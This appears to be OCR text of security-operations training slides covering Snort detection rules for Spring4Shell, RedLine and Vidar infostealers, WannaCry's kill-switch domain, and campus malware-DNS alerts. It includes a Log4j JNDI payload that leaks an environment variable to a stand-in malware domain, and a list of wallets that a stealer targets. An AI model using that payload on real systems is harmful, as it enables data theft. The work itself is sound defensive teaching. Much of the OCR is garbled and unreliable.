Rule alert tcp $EXTERNAL_MET any -»> $HOME_NET $HTTP_PORTS (msg:"SERVER-WEBAPP Java getRuntime remote code execution attempt”;
flow:to_server,established; content:"«<%"; http_header:; content:"getRuntime”; distance:0: nocase:; http_header:; content:"exec("; distance:0; nocase:;
http_header:; metadata:policy balanced-ips drop, policy max-detect-ips drop, policy security-ips drop, service http; reference:cve,2022-22965;
reference:url tanzu.vmware.com/security/cve-2022-22965; classtype:attempted-user; sid:59416; rev:2; gid:1; )

References Rule Documentation
CWE: 2022-22085
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ASOC - Event name (Bar)
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ASOC - Event Category (Bar)
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® SERVER-WEBAPP Java C...

® attempted-admin
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deviceReceiptTime per day
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B Snort #RRIZRER

Talos Rules 2022-03-04

This release adds and modifies rules In several categories.

Talos is releasing Snort coverage to protect against ongoing cyber operations against Ukraine. These new

Snort rules provide protection against the following malware families: Redline (SID 59160, lsaacWiper (SIDs
SQ163-59164), SunSeed Lua (SIDs 59165-5917 3], HermeticRansom (SIDs 59154-59159), Vidar (SIDs

39200-59203), and WhiteBlackCrypt (SIDs 39 161-39162)

Talos has added and modified multiple rules in the deleted, malware-cnc, malware-other and os-windows rule

sets to provide coverage for emerging threats from these technologies.

For information about Snort Subscriber Rulesets available for purchase, please visit the Snort product page.
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ASOC - Event name (Bar)
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ASOC - Event Category (Bar)
@ ftrojan-activity

:

2022-06-12

2022-03-06
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B RedLine Infostealer

IPSHEB AR BI(SID:58007 ~ 58009 ~ 59149 - 59150 - 59160) - MBAZANEHBE
#5E559160= 1R (THEE AR RINL2022/03/04E 1 £1PS L)

RedlineE R EUWindows HEREEREE

FEZEDI S TRRERR&E - AU login credentials, browser cookies, auto-fill
information, and credit card details

MEEBEEZ A SAsecilE - TEZLNRSNEUE - BBE—3nE&EYoutubeES L
BRENEIMNERP  5IFREE M
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B RedLine Infostealer

« Sid:59160 fEEEFR A

Rule Documentation (1:59160:1)

Rule alert tcp $HOME_MET any ->= $EXTERMAL_MET any (msg:"MALWARE-CNC Win.Trojan.Redline variant outbound request detected”: flow:to_server,established; content:"{0&]": depth:1:
content:"http|3A 2F 2F|tempuri.org| 2F|Entity | 2F|Id"; fast_pattern:only; content:"Authorization”; nocase:; content:"ns1"; within:10; nocase:; metadata:impact_flag red, policy balanced-ips
drop, policy max-detect-ips drop, policy security-ips drop, service http: reference:url,blogs.blackberry.com/en/2021/10/threat-thursday-redline-infostealer-update: classtype:trojan-activity:
sid:59160; rev:1; gid:1; )

References Rule Documentation
Website Reference

View Context Explorer

Close window

- MEEEERBIEE

oo http: fftempurl. org/Entity/ Idl net top: A ALEE V200, 151, 1688/ . Idl . hittp: fftempurl.orgfV. . .5, . a.¥. D
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B A Long List Of Arkei Stealer's Crypto Browser Wallets

IPS st 2SS M B MEMIRIERI(sid:59202 - 59203 : R3/4854h)
PA59202f53 &% - 185920318V &

FTEZDFBINERPERERN - AINEREB RS Eam PSR ER -

C

CNCfaEl A=z
592021 RIFR AN :

Rule Documentation (1:59202:1)

Rule alert tcp $HOME_NMNET any -=> $EXTERMAL_MET SHTTP_PORTS {msg:"MALWARE-CMNC Win.Infostealer.Vidar
outbound connection attempt™; flow:to_server,established; content:"|0D 0A|Content-Type: multinarﬂf{:rm—
data|3B 20|boundary=1BEFOAS7BEL10FD467A|0D 0A|"; fast_pattern:; http_header:; content:”

-1BEFOASYBE110FD467A|0D 04" http_client_body:; metadata impact_flag red, |:IIII|IC‘;.-' halanced ips drop,
policy max-detect-ips drop, policy security-ips drop, service http; reference:url,blog.minerva-labs.com/a-
long-list-of-arkei-stealers-browser-crypto-wallets; classtype:trojan-activity; sid:59202; rev:1; gid:1; )

References PRuls Documentation
Website Reference

View Context Explorer

Close window

IMEZ]
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B A Long List Of Arkei Stealer's Crypto Browser Wallets

HI 58 B =

(?hc:'c(;i!\i Chromium Orbitum C;rr:gczjno CocCoc Uran CryptoTab Brave SlimBrowser PaleMoon KMeleon
Mié:;c;seoft Kometa Nichrome Maxthon 5 QIP Surf CentBrowser Opera OperaGX Waterfox Cyberfox Ul
Amigo Torch Sputnik Vivaldi Elements Tor OperaNeon Firefox BlackHawk IceCat
>
N[ FE S E

TronLink Coinbase Wallet Wombat Clover Wallet Polymesh Wallet Cyano Wallet Steem Keychain

MetaMask Guarda MEW CX Liquality Wallet ICONex Byone Nash Extension
Binance Chain Wallet EQUA Wallet GuildWallet Terra Station Nabox Wallet OneKey Hycon Lite Client

Yoro1 Jaxx Liberty Saturn Wallet Keplr KHC LeafWallet Z11Pay
Nifty Wallet BitApp Wallet Ronin Wallet Sollet Temple DAppPlay Comn98 Wallet
Math Wallet 1Wallet NeoLine Auro Wallet TezBox BitClip 41
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[X]

-- 1BEF@BAL7BE L18FDA67 A
Content-Disposition: form-data;

ug

R E EH
1050

Iy
il

name="hwid"

c51bc879-89e0-44cf - 9eda-9360- 86061 6eb903

--1BEF@AS 7BE L18FD467 A
Content-Disposition: form-data;

name="gos"

Windows 18 Home
-- 1BEF&AS7BE L18FD67 A
Content-Disposition: form-data;

name="platform”

xbd
-- 1BEF&AS7BE L18FD67 A
Content-Disposition: form-data;

1191
--1BEFBAS 7BE L1aFD467 A
Content-Disposition: form-data;

User
-- 1BEF&AS 7BE L1aFDda 7 A
Content-Disposition: form-data;

5]
- - 1BEF@AS7BE L16FDAGT A
Content-Disposition: form-data;

=]
-- 1BEF@AS7BE 1 18FDA67 A
Content-Disposition: form-data;

51.5
--1BEF@AS 7BE L18FD467 A
Content-Disposition: form-data;

B79
- - 1BEF@AS7BE L16FDAGT A
Content-Disposition: form-data;

name="profile"

name="user"

name="cccount™

name="fcount"

name="ver"

name="profile id"

name="ccount™

=]

-- 1BEF@BAL7BE L18FDA67 A
Content-Disposition: form-data;
Content-Type: zip

name="logs"; filename="c51bc879-8%0-44cf-%eda-elbShblbfeged1449326878. z1p"
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Malware and DNS

« Wannacry $1RmE £85I DNS #LE domain - AR ZEEEEEEIRIBEMIEINFE

IR15 -
www.iugerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
STEP 3 .
DNSE il 824 :
STEP 1 "
STEP 4 : : ;
_ T e &SR .
ggg AERMA4Sport Q aa5port - mEEEER
-+ = :
- - .
= =i o e E E . oo
== STEP 5 SEEIH STEP 2 -
HREBUERER ERERER -]

B EEhEE

L]
iiiiiiiiiii

RRBRLEE :
https://portal.cert.tanet.edu.tw/docs/pdf/2017062004063434305283221149085. pdf
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Malware and DNS (conti.)

= Log4j J&ifd - 2= FIH DNS domain &3R8 - £33 E server [@i &= DNS server [B]#f

kn W) g Z% °
=% 2 AR RBE Data Exfiltration Example

malware.example
Authoritative DNS Server

DNS

|

=
g Vulnerable Server
Ma”Ory Malicious user (Mallory) tricks the server into logging:

${jndi:dns://127.0.0.1:53/${env:USER}.malware.example}

Server running log4j translates this to
${jndi:dns://127.0.0.1:53/Administrator.malware.example}

and then sends a DNS query to malware.example authoritative DNS server
for the hosthame Administrator.malware.example.

;. Mallory locks up the DNS request and retrieves the leaked info.

B AR LR

https://www.akamai.com/blog/security/a-log4j-retrospective- part -2-data-exfiltration-and-remote-code-execution-exploits

o



EWA Ei DNS

« =22 DNS domain
ﬁ%@ﬂﬁ’\]ﬁiﬂ”?ﬁfﬁ
- (HERZEEAEE

B M EE: \#U)EEE

i - KB RIEIAEBEERE SRR EWA 155
%$$1%‘ﬁ“§
Ht R NIRIRE N M a Bk %

ZE %l DNS server :8f 7 4208% - ﬂﬁﬁaﬁ“

E845 DNS server °

EMEHLEIER

2522 domain -

S ER o |5 E et

NTUSOC-EWA-20210508 FiEDNSF{# MaLlWARE-OTHEE DNS request for known malware domain toknowall.com - Unix, Trojan, Vpnfilter)

NTUSOC-EW 420210505 MALWARE-CNC Win.Trojan.Zeus v3 DG A DNS query detected)

NTUSOC-EWA-20210505 EEDNSE# MALWARE-OTHER DNS request for known malware domain toknowall.com - Unix. Trojan, Vpnfilter)

NTUSOC-EW A-20210504 ErEDNs MALWARE-OTHER DNS request for known malware domain toknowall.com - Unix. Trojan. Vpnfilter)

NTUSOC-EWA-20210503 ERFNATE LD SIERY » HIMALWARE-CNC Possible host infection - excessive DNS queries for .cn)

NTUSOC-EWA-20210503 FiEDNSF{# MaLlWARE-OTHEE DNS request for known malware domain toknowall.com - Unix, Trojan, Vpnfilter)

NTUSOC-EW4-20210503 MALWARE-CNC Torpig bot sinkhole server DNS lockup)

NTUSOC-EWA-20210503 INDICATOR-COMFROMISE DNS request for known malware sinkhole domain ingerfsodpQifjaposdfhgosurifaswrwerg wea.com - WannaCry)
NTUSOC-EWA-20210503 EEIP B S ERIDN S MALWARE-OTHER DNS request for known malware domain toknowall.com - Unix. Trojan. Vpnfilter)

NTUSOC-EWA-202105-04 MALWARE-CNC Torpig bot sinkhole server DNE lockup)

NTUSOC-EW A-20210503 FERIDN S E MalWaARE-OTHEE DNS request for known malware domain toknowall.com - Unix. Trojan. Vpnfilter)

NTUSOC-EW 420210504 INDICATOE-COMFROMISE DNS request for known malware sinkhole domain iugerfaodpQifjaposdf heosuriifaswrwergwea.com - WannaCry)
NTUSOC-EWA-20210504 EiEDNSE# MaALWARE-OTHER DNS request for known malware domain toknowall.com - Unix. Trojan, Vpnfilter)

NTUSOC-EWA 20210501

It EF R TN EH# - &5

MALWARE-CNC Torpig bot sinkhole server DNS lockup)

NTUSOC-EWA-20210501

FEDNS E#

MALWARE-OTHER DNS request for known malware domain toknowall.com - Unix. Trojan, Vpnfilter)

NTUSOC-EWA 20210500

EETIPIN AT FEEE -

MALWARE-CNC Possible host infection - excessive DNS queries for .cn)

NTUSOC-EWA-202105-00 MALWARE-CNC Torpig bot sinkhole server DNE lockup) /—-\\
NTUSSC-EWA-20210510] = RER G MALWARE-OTHER DNS request for known malware domain toknowall.com - Unix. Trojan. Vpnfilter) 4 6.}
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